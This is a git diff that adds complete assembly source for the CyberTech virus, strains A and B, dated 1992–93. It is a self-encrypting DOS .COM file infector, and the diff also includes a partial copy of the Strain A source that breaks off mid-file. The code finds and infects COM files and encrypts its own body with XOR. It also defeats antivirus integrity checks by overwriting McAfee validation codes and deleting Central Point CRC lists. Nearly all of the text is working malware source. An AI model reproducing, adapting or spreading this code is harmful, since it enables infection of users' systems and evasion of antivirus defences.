Si,Crypt[BP] ; Decrypt the virus with a + Mov Di,Si ; very simple exclusive or + Mov Cx,CryptLen ; function. +Decrypt: Lodsb ; + Xor Al,0 ; + Stosb ; + Loop Decrypt ; + +DecrLen Equ $-MainVir ; Length of the decryptor + +; +; Main initialization procedure +; + +Crypt: Mov Ax,Cs:OrgPrg[BP] ; Store begin of host at + Mov Bx,Cs:OrgPrg[BP]+2 ; cs:100h (begin of com) + Mov Cs:Start+100h,Ax ; + Mov Cs:Start[2]+100h,Bx ; + + Xor Ax,Ax ; Get original interrupt 24 + Push Ax ; (critical error handler) + Pop Ds ; + Mov Bx,Ds:[4*24h] ; + Mov Es,Ds:[4*24h]+4 ; + + Mov Word Ptr Cs:OldInt24[Bp],Bx ; And store it on a save place + Mov Word Ptr Cs:OldInt24+2[Bp],Es ; + + Lea Bx,NewInt24[Bp] ; Install own critical error + Push Cs ; handler to avoid messages + Pop Es ; when a disk is write + Mov Word Ptr Ds:[4*24h],Bx ; protected and such things + Mov Word Ptr Ds:[4*24h]+2,Es ; + Push Cs ; + Pop Ds ; + + Mov Ah,30h ; Check if DOS version is + Int 21h ; 3.0 or above for correct + Cmp Al,3 ; interrupt use + Jae TestDate ; + Jmp Ready ; + +TestDate: Mov Ah,2ah ; Check if 1993 is past time + Int 21h ; already + Cmp Cx,1994 ; + Jae Clean ; - 1994 or more + Jmp NoClean ; - Not 1994 or more + +; +; Main Cleanup procedure +; + +Clean: Mov Ah,1ah ; Move DTA to a safe place + Mov Dx,0fd00h ; + Int 21h ; + + Mov Ax,Cs:[2ch] ; Find the name of the + Mov Ds,Ax ; program that is now + Mov Si,0 ; executed (me must search in + Mov Cx,4000h ; the DOS environment for +Seeker: Lodsb ; safe tracking of the name + Cmp Al,1 ; + Je On3 ; + Loop Seeker ; + +On3: Inc Si ; Transfer the found name + Push Cs ; to a safe address in memory + Pop Es ; + Mov Di,0fd80h ; + Mov Cx,80h ; +Trans: Lodsb ; + Cmp Al,0 ; + Je Verder ; + Stosb ; + Loop Trans ; + +Verder: Stosb + Sub Di,12 + Push Cs + Pop Ds + Mov Ax,[Di][0] ; + Cmp Ax,'OC' + Jne Normal + Mov Ax,[Di][2] + Cmp Ax,'MM' + Jne Normal + Mov Ax,[Di][4] + Cmp Ax,'NA' + Jne Normal + Jmp Ready + +Normal: Push Cs ; Read file attributes and + Pop Ds ; check if an error has + Mov Ax,4300h ; occured + Mov Dx,0fd80h ; + Int 21h ; + Jnc DeInfect ; - No error, DeInfect + Jmp Ready ; - Error, Ready + +DeInfect: Push Cx ; Store old file attributes + + Mov Ax,4301h ; Clear file attributes + Xor Cx,Cx ; (for read only etc.) + Int 21h ; + + Mov Ax,3d02h ; Open the file + Int 21h ; + + Mov Bx,Ax ; Read file date/time stamp + Mov Ax,5700h ; and store it on the stack + Int 21h ; for later use + Push Cx ; + Push Dx ; + + Mov Ah,3eh ; Close file + Int 21h ; + + Mov Dx,0fd80h ; Create a new file with the + Xor Cx,Cx ; same name + Mov Ah,3ch ; + Int 21h ; + + Mov Bx,Ax ; store file handle in BX + + Mov Dx,100h ; program to file (the original + Mov Cx,Bp ; file is now back again) + Sub Cx,0fch ; + + Mov Ah,40h ; write memory image of host + Int 21h ; + + Pop Dx ; restore file date/time + Pop Cx ; stamp + Mov Ax,5701h ; + Int 21h ; + + Mov Ah,3eh ; close file + Int 21h ; + + Pop Cx ; restore file attributes + Mov Ax,4301h ; + Mov Dx,0fd80h ; + Int 21h ; + + Push Cs ; Show message that the + Pop Ds ; system has been infected + Mov Ah,9 ; and shutdown virus + Lea Dx,Removed[Bp] ; + Int 21h ; + Jmp Ready ; + +; +; Main viral part +; + +NoClean: Mov Ah,1ah ; Store DTA at safe place + Mov Dx,0fd00h ; + Int 21h ; + + Mov Ah,4eh ; FindFirsFile Function + +Search: Lea Dx,FileSpec[BP] ; Search for filespec given + Xor Cx,Cx ; in FileSpec adress + Int 21h ; + Jnc Found ; Found - Found + Jmp Ready ; Not Found - Ready + +Found: Mov Ax,4300h ; Get file attributes and + Mov Dx,0fd1eh ; store them on the stack + Int 21h ; + Push Cx ; + + Mov Ax,4301h ; clear file attributes + Xor Cx,Cx ; + Int 21h ; + + Mov Ax,3d02h ; open file with read/write + Int 21h ; access + + Mov Bx,5700h ; save file date/time stamp + Xchg Ax,Bx ; on the stack + Int 21h ; + Push Cx ; + Push Dx ; + + Mov Ah,3fh ; read the first 4 bytes of + Lea Dx,OrgPrg[BP] ; the program onto OrgPrg + Mov Cx,4 ; + Int 21h ; + + Mov Ax,Cs:[OrgPrg][BP] ; Check if renamed exe-file + Cmp Ax,'ZM' ; + Je ExeFile ; + + Cmp Ax,'MZ' ; Check if renamed weird exe- + Je ExeFile ; file + + Mov Ah,Cs:[OrgPrg+3][BP] ; Check if already infected + Cmp Ah,'*' ; + Jne Infect ; + +ExeFile: Call Close ; If one of the checks is yes, + Mov Ah,4fh ; close file and search next + Jmp Search ; file + +FSeek: Xor Cx,Cx ; subroutine to jump to end + Xor Dx,Dx ; or begin of file + Int 21h ; + Ret ; + +Infect: Mov Ax,0fd1e[0] ; check if the file is + Cmp Ax,'OC' ; COMMAN?.COM (usually result + Jne NoCommand ; if COMMAND.COM) + Mov Ax,0fd1e[2] ; + Cmp Ax,'MM' ; + Jne NoCommand ; + Mov Ax,0fd1e[4] ; + Cmp Ax,'NA' ; + Jne NoCommand ; + + Mov Ax,4202h ; Jump to EOF + Call Fseek ; + + Cmp Ax,0f000h ; Check if file too large + Jae ExeFile + + Cmp Ax,VirS ; Check if file to short + jbe ExeFile + + Sub Ax,VirS + Xchg Cx,Dx + Mov Dx,4200h + Xchg Dx,Ax + Mov EOFminVir[BP],Dx + Int 21h + Mov Ah,3fh + Mov Dx,Offset Buffer + Mov Cx,VirS + Int 21h + Cld + Mov Si,Offset Buffer + Mov Cx,VirLen +On5: + Push Cx +On6: Lodsb + Cmp Al,0 + Jne On4 + Loop On6 +On4: Cmp Cx,0 + Je Found0 + + Pop Cx + Cmp Si,SeekLen + Jb On5 + Jmp NoCommand + +Found0: Pop Cx + Sub Si,Offset Buffer + Sub Si,Cx + Xor Cx,Cx + Mov Dx,EOFminVir[BP] + Add Dx,Si + + Mov Ax,4200h + Int 21h + Jmp CalcVirus + +EOFminVir Dw 0 + +NoCommand: Mov Ax,4202h ; jump to EOF + Call FSeek ; + + Cmp Ax,0f000h ; Check if file too large + Jb NoExe1 ; if yes, goto exefile + Jmp ExeFile ; + +NoExe1: Cmp Ax,10 ; Check if file too short + Ja NoExe2 ; if yes, goto exefile + Jmp ExeFile ; + + +NoExe2: Mov Cx,Dx ; calculate pointer to offset + Mov Dx,Ax ; EOF-52 (for McAfee validation + Sub Dx,52 ; codes) + + Mov Si,Cx ; move file pointer to the + Mov Di,Dx ; calculated address + Mov Ax,4200h ; + Int 21h ; + + Mov Ah,3fh ; read the last 52 bytes + Mov Dx,0fb00h ; of the file + Mov Cx,52 ; + Int 21h ; + + Cmp Ds:0Fb00h,0fdf0h ; check if protected with the + Jne Check2 ; AG option + Cmp Ds:0fb02h,0aac5h ; + Jne Check2 ; + + Mov Ax,4200h ; yes - let virus overwrite + Mov Cx,Si ; the code with itself, so + Mov Dx,Di ; the file has no validation + Int 21h ; code + Jmp CalcVirus ; + +Check2: Cmp Ds:0Fb00h+42,0fdf0h ; check if protected with the + Jne Eof ; AV option + Cmp Ds:0Fb02h+42,0aac5h ; + Jne Eof ; + + Mov Ax,4200h ; yes - let virus overwrite + Mov Cx,Si ; the code with itself, so + Mov Dx,Di ; the file has no validation + Add Dx,42 ; code + Int 21h ; + Jmp CalcVirus ; + +Eof: Mov Ax,4202h ; not AG or AV - jump to + Call Fseek ; EOF + +CalcVirus: Sub Ax,3 ; calculate the jump for the + Mov Cs:CallPtr[BP]+1,Ax ; virus start + +GetCrypt: Mov Ah,2ch ; get 100s seconds for the + Int 21h ; encryption value. + Cmp Dl,0 ; if not zero, goto NoZero + Jne NoZero ; + + Mov Ah,9 ; If zero, display copyright + Lea Dx,Msg[Bp] ; message and generate again + Int 21h ; a number + Jmp GetCrypt ; + +NoZero: Mov Cs:Decrypt+2[BP],Dl ; Store key into decryptor + + Lea Si,MainVir[BP] ; Move changed decryptor to + Mov Di,0fb00h ; a safe place in memory + Mov Cx,DecrLen ; + Rep Movsb ; + + Lea Si,Crypt[BP] ; Encrypt the virus and merge + Mov Cx,CryptLen ; it to the changed decryptor +Encrypt: Lodsb ; code + Xor Al,Dl ; + Stosb ; + Loop Encrypt ; + + Mov Ah,40h ; append virus at EOF or over + Lea Dx,0fb00h ; the validation code of + Mov Cx,VirLen ; McAfee + Int 21h ; + + Mov Ax,4200h ; Jump to BOF + Call FSeek ; + + Mov Ah,40h ; Write Jump at BOF + Lea Dx,CallPtr[BP] ; + Mov Cx,4 ; + Int 21h ; + + Call Close ; Jump to Close routine + +Ready: Mov Ah,1ah ; Restore DTA to normal + Mov Dx,80h ; offset + Int 21h ; + + Mov Ax,Cs:OldInt24[Bp] ; remove critical error + Mov Dx,Cs:OldInt24+2[Bp] ; handler and store the + Xor Bx,Bx ; original handler at the + Push Bx ; interrupt table + Pop Ds ; + Mov Ds:[4*24h],Dx ; + Mov Ds:[4*24h]+2,Ax ; + Push Cs ; + Pop Ds ; + + Pop Ax ; restore possible error code + + Mov Bx,100h ; nice way to jump to the + Push Cs ; begin of the original host + Push Bx ; code + Retf ; + +Close: Pop Si ; why??? + + Pop Dx ; restore file date/time + Pop Cx ; stamp + Mov Ax,5701h ; + Int 21h ; + + Mov Ah,3eh ; close file + Int 21h ; + + Mov Ax,4301h ; restore file attributes + Pop Cx ; + Mov Dx,0fd1eh ; + Int 21h ; + + Mov Ah,41h ; delete CHKLIST.CPS (the + Lea Dx,CpsName[BP] ; Central Point CRC list) + Int 21h ; + + Push Si ; why??? + Ret + +; +; Message when we are in 1994 +; + +;Removed Db 13,10,'Virus removed : ',13,10 + +Removed Db 13,10,'The previous year you have been infected by a virus' + Db 13,10,'without knowing or removing it. To be gentle to you' + Db 13,10,'I decided to remove myself from your system. I suggest' + Db 13,10,'you better buy ViruScan of McAfee to ensure yourself' + Db 13,10,'complete security of your precious data. Next time you' + Db 13,10,'could be infected with a malevolent virus.' + Db 13,10,10,'May I say goodbye to you for now....',13,10 + +; +; Message when encryption byte = 0 or when we are living in 1994 +; + +Msg Db 13,10,'CyberTech Virus - Strain B' + Db 13,10,'(C) 1992 John Tardy of Trident' + Db 13,10,'$' + +; +; New critical error handler +; + +NewInt24: Mov Al,3 ; supress any critical error + Iret ; messages + +CpsName Db 'chklist.cps',0 ; name for CP CRC-list + +OldInt24 Dd 0 ; storage place for old int 24 + +CallPtr Db 0e9h,0,0 ; jump to place at BOF + +FileSpec Db '*.COM',0 ; filespec and infection marker + +OrgPrg: Int 20h ; original program + Db 'JT' ; + +CryptLen Equ $-Crypt ; encrypted part length + +VirLen Equ $-MainVir ; total virus length + +Buffer Equ 0f040h ; buffer offset +VirS Equ VirLen*2 + +SeekLen Equ Buffer+Virs diff --git a/c/Cybtch-b.asm b/c/Cybtch-b.asm new file mode 100755 index 0000000..b7ae904 --- /dev/null +++ b/c/Cybtch-b.asm @@ -0,0 +1,500 @@ +; +; CyberTech Virus - Strain B John Tardy (C) 1992 +; +; Written in A86 V3.22 +; +; Description : This is a Non-Resident Self-Encrypting .COM file infector +; which infects COM files in the current directory. It will +; remove CHKLIST.CPS from the current directory after it has +; infected a program. CHKLIST.CPS is a file which is used by +; VDEFEND of PCSHELL and Central Point AntiVirus. When a +; validation code is added by SCAN of McAfee, it will overwrite +; the code, so the file is no longer CRC protected anymore. +; After 1993, the virus activated. It then displays a message +; that your system has been infected. The virus will remove +; itself from the infected file and completely restore it. If +; a validation code was added, it is lost, but the file is not +; corrupted and will function normally. Even when the file is +; compressed afterwards by an executable file compressor, it is +; uncompressed. Before 1994, the virus sometimes display it's +; copyright. This is caused when the random encryption counter +; is a 0. It will redefine it, so there is no visible text in +; the virus. It checks also if there is enough diskspace +; aveable and installs a critical error handler. +; + Org 0h ; Generate .BIN file + +Start: Jmp MainVir ; Jump to decryptor code at EOF + + Db '*' ; Virus signature (very short) + +; +; Decryptor procedure +; + +MainVir: Call On1 ; Push offset on stack + +On1: Pop BP ; Calculate virus offset + Sub BP,Offset MainVir+3 ; + + Push Ax ; Save possible error code + + Lea Si,Crypt[BP] ; Decrypt the virus with a + Mov Di,Si ; very simple exclusive or + Mov Cx,CryptLen ; function. +Decrypt: Lodsb ; + Xor Al,0 ; + Stosb ; + Loop Decrypt ; + +DecrLen Equ $-MainVir ; Length of the decryptor + +; +; Main initialization procedure +; + +Crypt: Mov Ax,Cs:OrgPrg[BP] ; Store begin of host at + Mov Bx,Cs:OrgPrg[BP]+2 ; cs:100h (begin of com) + Mov Cs:Start+100h,Ax ; + Mov Cs:Start[2]+100h,Bx ; + + Xor Ax,Ax ; Get original interrupt 24 + Push Ax ; (critical error handler) + Pop Ds ; + Mov Bx,Ds:[4*24h] ; + Mov Es,Ds:[4*24h]+4 ; + + Mov Word Ptr Cs:OldInt24[Bp],Bx ; And store it on a save place + Mov Word Ptr Cs:OldInt24+2[Bp],Es ; + + Lea Bx,NewInt24[Bp] ; Install own critical error + Push Cs ; handler to avoid messages + Pop Es ; when a disk is write + Mov Word Ptr Ds:[4*24h],Bx ; protected and such things + Mov Word Ptr Ds:[4*24h]+2,Es ; + Push Cs ; + Pop Ds ; + + Mov Ah,30h ; Check if DOS version is + Int 21h ; 3.0 or above for correct + Cmp Al,3 ; interrupt use + Jae TestDate ; + Jmp Ready ; + +TestDate: Mov Ah,2ah ; Check if 1993 is past time + Int 21h ; already + Cmp Cx,1994 ; + Jae Clean ; - 1994 or more + Jmp NoClean ; - Not 1994 or more + +; +; Main Cleanup procedure +; + +Clean: Mov Ah,1ah ; Move DTA to a safe place + Mov Dx,0fd00h ; + Int 21h ; + + Mov Ax,Cs:[2ch] ; Find the name of the + Mov Ds,Ax ; program that is now + Mov Si,0 ; executed (me must search in + Mov Cx,4000h ; the DOS environment for +Seeker: Lodsb ; safe tracking of the name + Cmp Al,1 ; + Je On3 ; + Loop Seeker ; + +On3: Inc Si ; Transfer the found name + Push Cs ; to a safe address in memory + Pop Es ; + Mov Di,0fd80h ; + Mov Cx,80h ; +Trans: Lodsb ; + Cmp Al,0 ; + Je Verder ; + Stosb ; + Loop Trans ; + +Verder: Stosb + Sub Di,12 + Push Cs + Pop Ds + Mov Ax,[Di][0] ; + Cmp Ax,'OC' + Jne Normal + Mov Ax,[Di][2] + Cmp Ax,'MM' + Jne Normal + Mov Ax,[Di][4] + Cmp Ax,'NA' + Jne Normal + Jmp Ready + +Normal: Push Cs ; Read file attributes and + Pop Ds ; check if an error has + Mov Ax,4300h ; occured + Mov Dx,0fd80h ; + Int 21h ; + Jnc DeInfect ; - No error, DeInfect + Jmp Ready ; - Error, Ready + +DeInfect: Push Cx ; Store old file attributes + + Mov Ax,4301h ; Clear file attributes + Xor Cx,Cx ; (for read only etc.) + Int 21h ; + + Mov Ax,3d02h ; Open the file + Int 21h ; + + Mov Bx,Ax ; Read file date/time stamp + Mov Ax,5700h ; and store it on the stack + Int 21h ; for later use + Push Cx ; + Push Dx ; + + Mov Ah,3eh ; Close file + Int 21h ; + + Mov Dx,0fd80h ; Create a new file with the + Xor Cx,Cx ; same name + Mov Ah,3ch ; + Int 21h ; + + Mov Bx,Ax ; store file handle in BX + + Mov Dx,100h ; program to file (the original + Mov Cx,Bp ; file is now back again) + Sub Cx,0fch ; + + Mov Ah,40h ; write memory image of host + Int 21h ; + + Pop Dx ; restore file date/time + Pop Cx ; stamp + Mov Ax,5701h ; + Int 21h ; + + Mov Ah,3eh ; close file + Int 21h ; + + Pop Cx ; restore file attributes + Mov Ax,4301h ; + Mov Dx,0fd80h ; + Int 21h ; + + Push Cs ; Show message that the + Pop Ds ; system has been infected + Mov Ah,9 ; and shutdown virus + Lea Dx,Removed[Bp] ; + Int 21h ; + Jmp Ready ; + +; +; Main viral part +; + +NoClean: Mov Ah,1ah ; Store DTA at safe place + Mov Dx,0fd00h ; + Int 21h ; + + Mov Ah,4eh ; FindFirsFile Function + +Search: Lea Dx,FileSpec[BP] ; Search for filespec given + Xor Cx,Cx ; in FileSpec adress + Int 21h ; + Jnc Found ; Found - Found + Jmp Ready ; Not Found - Ready + +Found: Mov Ax,4300h ; Get file attributes and + Mov Dx,0fd1eh ; store them on the stack + Int 21h ; + Push Cx ; + + Mov Ax,4301h ; clear file attributes + Xor Cx,Cx ; + Int 21h ; + + Mov Ax,3d02h ; open file with read/write + Int 21h ; access + + Mov Bx,5700h ; save file date/time stamp + Xchg Ax,Bx ; on the stack + Int 21h ; + Push Cx ; + Push Dx ; + + Mov Ah,3fh ; read the first 4 bytes of + Lea Dx,OrgPrg[BP] ; the program onto OrgPrg + Mov Cx,4 ; + Int 21h ; + + Mov Ax,Cs:[OrgPrg][BP] ; Check if renamed exe-file + Cmp Ax,'ZM' ; + Je ExeFile ; + + Cmp Ax,'MZ' ; Check if renamed weird exe- + Je ExeFile ; file + + Mov Ah,Cs:[OrgPrg+3][BP] ; Check if already infected + Cmp Ah,'*' ; + Jne Infect ; + +ExeFile: Call Close ; If one of the checks is yes, + Mov Ah,4fh ; close file and search next + Jmp Search ; file + +FSeek: Xor Cx,Cx ; subroutine to jump to end + Xor Dx,Dx ; or begin of file + Int 21h ; + Ret ; + +Infect: Mov Ax,0fd1e[0] ; check if the file is + Cmp Ax,'OC' ; COMMAN?.COM (usually result + Jne NoCommand ; if COMMAND.COM) + Mov Ax,0fd1e[2] ; + Cmp Ax,'MM' ; + Jne NoCommand ; + Mov Ax,0fd1e[4] ; + Cmp Ax,'NA' ; + Jne NoCommand ; + + Mov Ax,4202h ; Jump to EOF + Call Fseek ; + + Cmp Ax,0f000h ; Check if file too large + Jae ExeFile + + Cmp Ax,VirS ; Check if file to short + jbe ExeFile + + Sub Ax,VirS + Xchg Cx,Dx + Mov Dx,4200h + Xchg Dx,Ax + Mov EOFminVir[BP],Dx + Int 21h + Mov Ah,3fh + Mov Dx,Offset Buffer + Mov Cx,VirS + Int 21h + Cld + Mov Si,Offset Buffer + Mov Cx,VirLen +On5: + Push Cx +On6: Lodsb + Cmp Al,0 + Jne On4 + Loop On6 +On4: Cmp Cx,0 + Je Found0 + + Pop Cx + Cmp Si,SeekLen + Jb On5 + Jmp NoCommand + +Found0: Pop Cx + Sub Si,Offset Buffer + Sub Si,Cx + Xor Cx,Cx + Mov Dx,EOFminVir[BP] + Add Dx,Si + + Mov Ax,4200h + Int 21h + Jmp CalcVirus + +EOFminVir Dw 0 + +NoCommand: Mov Ax,4202h ; jump to EOF + Call FSeek ; + + Cmp Ax,0f000h ; Check if file too large + Jb NoExe1 ; if yes, goto exefile + Jmp ExeFile ; + +NoExe1: Cmp Ax,10 ; Check if file too short + Ja NoExe2 ; if yes, goto exefile + Jmp ExeFile ; + + +NoExe2: Mov Cx,Dx ; calculate pointer to offset + Mov Dx,Ax ; EOF-52 (for McAfee validation + Sub Dx,52 ; codes) + + Mov Si,Cx ; move file pointer to the + Mov Di,Dx ; calculated address + Mov Ax,4200h ; + Int 21h ; + + Mov Ah,3fh ; read the last 52 bytes + Mov Dx,0fb00h ; of the file + Mov Cx,52 ; + Int 21h ; + + Cmp Ds:0Fb00h,0fdf0h ; check if protected with the + Jne Check2 ; AG option + Cmp Ds:0fb02h,0aac5h ; + Jne Check2 ; + + Mov Ax,4200h ; yes - let virus overwrite + Mov Cx,Si ; the code with itself, so + Mov Dx,Di ; the file has no validation + Int 21h ; code + Jmp CalcVirus ; + +Check2: Cmp Ds:0Fb00h+42,0fdf0h ; check if protected with the + Jne Eof ; AV option + Cmp Ds:0Fb02h+42,0aac5h ; + Jne Eof ; + + Mov Ax,4200h ; yes - let virus overwrite + Mov Cx,Si ; the code with itself, so + Mov Dx,Di ; the file has no validation + Add Dx,42 ; code + Int 21h ; + Jmp CalcVirus ; + +Eof: Mov Ax,4202h ; not AG or AV - jump to + Call Fseek ; EOF + +CalcVirus: Sub Ax,3 ; calculate the jump for the + Mov Cs:CallPtr[BP]+1,Ax ; virus start + +GetCrypt: Mov Ah,2ch ; get 100s seconds for the + Int 21h ; encryption value. + Cmp Dl,0 ; if not zero, goto NoZero + Jne NoZero ; + + Mov Ah,9 ; If zero, display copyright + Lea Dx,Msg[Bp] ; message and generate again + Int 21h ; a number + Jmp GetCrypt ; + +NoZero: Mov Cs:Decrypt+2[BP],Dl ; Store key into decryptor + + Lea Si,MainVir[BP] ; Move changed decryptor to + Mov Di,0fb00h ; a safe place in memory + Mov Cx,DecrLen ; + Rep Movsb ; + + Lea Si,Crypt[BP] ; Encrypt the virus and merge + Mov Cx,CryptLen ; it to the changed decryptor +Encrypt: Lodsb ; code + Xor Al,Dl ; + Stosb ; + Loop Encrypt ; + + Mov Ah,40h ; append virus at EOF or over + Lea Dx,0fb00h ; the validation code of + Mov Cx,VirLen ; McAfee + Int 21h ; + + Mov Ax,4200h ; Jump to BOF + Call FSeek ; + + Mov Ah,40h ; Write Jump at BOF + Lea Dx,CallPtr[BP] ; + Mov Cx,4 ; + Int 21h ; + + Call Close ; Jump to Close routine + +Ready: Mov Ah,1ah ; Restore DTA to normal + Mov Dx,80h ; offset + Int 21h ; + + Mov Ax,Cs:OldInt24[Bp] ; remove critical error + Mov Dx,Cs:OldInt24+2[Bp] ; handler and store the + Xor Bx,Bx ; original handler at the + Push Bx ; interrupt table + Pop Ds ; + Mov Ds:[4*24h],Dx ; + Mov Ds:[4*24h]+2,Ax ; + Push Cs ; + Pop Ds ; + + Pop Ax ; restore possible error code + + Mov Bx,100h ; nice way to jump to the + Push Cs ; begin of the original host + Push Bx ; code + Retf ; + +Close: Pop Si ; why??? + + Pop Dx ; restore file date/time + Pop Cx ; stamp + Mov Ax,5701h ; + Int 21h ; + + Mov Ah,3eh ; close file + Int 21h ; + + Mov Ax,4301h ; restore file attributes + Pop Cx ; + Mov Dx,0fd1eh ; + Int 21h ; + + Mov Ah,41h ; delete CHKLIST.CPS (the + Lea Dx,CpsName[BP] ; Central Point CRC list) + Int 21h ; + + Push Si ; why??? + Ret + +; +; Message when we are in 1994 +; + +;Removed Db 13,10,'Virus removed : ',13,10 + +Removed Db 13,10,'The previous year you have been infected by a virus' + Db 13,10,'without knowing or removing it. To be gentle to you' + Db 13,10,'I decided to remove myself from your system. I suggest' + Db 13,10,'you better buy ViruScan of McAfee to ensure yourself' + Db 13,10,'complete security of your precious data. Next time you' + Db 13,10,'could be infected with a malevolent virus.' + Db 13,10,10,'May I say goodbye to you for now....',13,10 + +; +; Message when encryption byte = 0 or when we are living in 1994 +; + +Msg Db 13,10,'CyberTech Virus - Strain B' + Db 13,10,'(C) 1992 John Tardy of Trident' + Db 13,10,'$' + +; +; New critical error handler +; + +NewInt24: Mov Al,3 ; supress any critical error + Iret ; messages + +CpsName Db 'chklist.cps',0 ; name for CP CRC-list + +OldInt24 Dd 0 ; storage place for old int 24 + +CallPtr Db 0e9h,0,0 ; jump to place at BOF + +FileSpec Db '*.COM',0 ; filespec and infection marker + +OrgPrg: Int 20h ; original program + Db 'JT' ; + +CryptLen Equ $-Crypt ; encrypted part length + +VirLen Equ $-MainVir ; total virus length + +Buffer Equ 0f040h ; buffer offset +VirS Equ VirLen*2 + +SeekLen Equ Buffer+Virs + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; diff --git a/c/Cybtcha2.a86 b/c/Cybtcha2.a86 new file mode 100755 index 0000000..c58c273 --- /dev/null +++ b/c/Cybtcha2.a86 @@ -0,0 +1,427 @@ +; +; CyberTech Virus - Strain A John Tardy (C) 1993 +; +; Written in A86 V3.22 +; +; Description : This is a Non-Resident Self-Encrypting .COM file infector +; which infects COM files in the current directory. It will +; remove CHKLIST.CPS from the current directory after it has +; infected a program. CHKLIST.CPS is a file which is used by +; VDEFEND of PCSHELL and Central Point AntiVirus. When a +; validation code is added by SCAN of McAfee, it will overwrite +; the code, so the file is no longer CRC protected anymore. +; After 1993, the virus activates. It then displays a message +; that your system has been infected. The virus will remove +; itself from the infected file and completely restore it. If +; a validation code was added, it is lost, but the file is not +; corrupted and will function normally. Even when the file is +; compressed afterwards by an executable file compressor, it is +; uncompressed. Before 1994, the virus sometimes display it's +; copyright. This is caused when the random encryption counter +; is a 0. It will redefine it, so there is no visible text in +; the virus. It checks also if there is enough diskspace +; aveable and installs a critical error handler. +; + Org 0h ; Generate .BIN file + +Start: Jmp MainVir ; Jump to decryptor code at EOF + + Db '*' ; Virus signature (very short) + +; +; Decryptor procedure +; + +MainVir: Call On1 ; Push offset on stack + +On1: Pop BP ; Calculate virus offset + Sub BP,Offset MainVir+3 ; + + Push Ax ; Save possible error code + + Lea Di,Crypt[BP] ; Decrypt the virus with a + Mov Si,Di ; very simple exclusive or + Mov Cx,CryptLen ; function. +Decrypt: Lodsb ; + Xor Al,0 ; + Stosb ; + Loop Decrypt ; + +DecrLen Equ $-MainVir ; Length of the decryptor + +; +; Main initialization procedure +; + +Crypt: Mov Ax,Cs:OrgPrg[BP] ; Store begin of host at + Mov Bx,Cs:OrgPrg[BP]+2 ; cs:100h (begin of com) + Mov Cs:Start+100h,Ax ; + Mov Cs:Start[2]+100h,Bx ; + + Xor Ax,Ax ; Get original interrupt 24 + Push Ax ; (critical error handler) + Pop Ds ; + Mov Bx,Ds:[4*24h] ; + Mov Es,Ds:[4*24h]+4 ; + + Mov Word Ptr Cs:OldInt24[Bp],Bx ; And store it on a save place + Mov Word Ptr Cs:OldInt24+2[Bp],Es ; + + Lea Bx,NewInt24[Bp] ; Install own critical error + Push Cs ; handler to avoid messages + Pop Es ; when a disk is write + Mov Word Ptr Ds:[4*24h],Bx ; protected and such things + Mov Word Ptr Ds:[4*24h]+2,Es ; + Push Cs ; + Pop Ds ; + + Mov Ah,30h ; Check if DOS version is + Int 21h ; 3.0 or above for correct + Cmp Al,3 ; interrupt use + Jae On2 ; + Jmp Ready ; + +On2: Mov Ax,3600h ; Check if enough disk space + Xor Dx,Dx ; is aveable for infecting + Int 21h ; (3 clusters should be + Cmp Bx,3 ; enough i think) + Ja TestDate ; + Jmp Ready ; + +TestDate: Mov Ah,2ah ; Check if 1993 is past time + Int 21h ; already + Cmp Cx,1994 ; + Jae Clean ; - 1993 or more + Jmp NoClean ; - Not 1993 or more + +; +; Main Cleanup procedure +; + +Clean: Push Cs ; Show message that the + Pop Ds ; system has been infected + Mov Ah,9 ; + Lea Dx,Removed[Bp] ; + Int 21h ; + + Mov Ah,1ah ; Move DTA to a safe place + Mov Dx,0fd00h ; + Int 21h ; + + Mov Ax,Cs:[2ch] ; Find the name of the + Mov Ds,Ax ; program that is now + Mov Si,0 ; executed (me must search in + Mov Cx,4000h ; the DOS environment for +Seeker: Lodsb ; safe tracking of the name + Cmp Al,1 ; + Je On3 ; + Loop Seeker ; + +On3: Inc Si ; Transfer the found name + Push Cs ; to a safe address in memory + Pop Es ; + Mov Di,0fd80h ; + Mov Cx,80h ; +Trans: Lodsb ; + Cmp Al,0h ; + Jne Verder ; + Xor Ax,Ax ; +Verder: Stosb ; + Loop Trans ; + + Push Cs ; Read file attributes and + Pop Ds ; check if an error has + Mov Ax,4300h ; occured + Mov Dx,0fd80h ; + Int 21h ; + Jnc DeInfect ; - No error, DeInfect + Jmp Ready ; - Error, Ready + +DeInfect: Push Cx ; Store old file attributes + + Mov Ax,4301h ; Clear file attributes + Xor Cx,Cx ; (for read only etc.) + Int 21h ; + + Mov Ax,3d02h ; Open the file + Int 21h ; + + Mov Bx,Ax ; Read file date/time stamp + Mov Ax,5700h ; and store it on the stack + Int 21h ; for later use + Push Cx ; + Push Dx ; + + Mov Ah,3eh ; Close file + Int 21h ; + + Mov Dx,0fd80h ; Create a new file with the + Xor Cx,Cx ; same name + Mov Ah,3ch ; + Int 21h ; + + Mov Bx,Ax ; store file handle in BX + + Mov Ah,40h ; write memory image of host + Mov Dx,100h ; program to file (the original + Mov Cx,Bp ; file is now back again) + Sub Cx,0fch ; + Int 21h ; + + Pop Dx ; restore file date/time + Pop Cx ; stamp + Mov Ax,5701h ; + Int 21h ; + + Mov Ah,3eh ; close file + Int 21h ; + + Pop Cx ; restore file attributes + Mov Ax,4301h ; + Mov Dx,0fd80h ; + Int 21h ; + + Push Cs ; jump to ready routine + Pop Ds ; (shutdown of the virus) + Jmp Ready ; + +; +; Main viral part +; + +NoClean: Mov Ah,1ah ; Store DTA at safe place + Mov Dx,0fd00h ; + Int 21h ; + + Mov Ah,4eh ; FindFirsFile Function + +Search: Lea Dx,FileSpec[BP] ; Search for filespec given + Xor Cx,Cx ; in FileSpec adress + Int 21h ; + Jnc Found ; Found - Found + Jmp Ready ; Not Found - Ready + +Found: Mov Ax,4300h ; Get file attributes and + Mov Dx,0fd1eh ; store them on the stack + Int 21h ; + Push Cx ; + + Mov Ax,4301h ; clear file attributes + Xor Cx,Cx ; + Int 21h ; + + Mov Ax,3d02h ; open file with read/write + Int 21h ; access + + Mov Bx,5700h ; save file date/time stamp + Xchg Ax,Bx ; on the stack + Int 21h ; + Push Cx ; + Push Dx ; + + Mov Ah,3fh ; read the first 4 bytes of + Lea Dx,OrgPrg[BP] ; the program onto OrgPrg + Mov Cx,4 ; + Int 21h ; + + Mov Ax,Cs:[OrgPrg][BP] ; Check if renamed exe-file + Cmp Ax,'ZM' ; + Je ExeFile ; + + Cmp Ax,'MZ' ; Check if renamed weird exe- + Je ExeFile ; file + + Mov Ah,Cs:[OrgPrg+3][BP] ; Check if already infected + Cmp Ah,'*' ; + Jne Infect ; + +ExeFile: Call Close 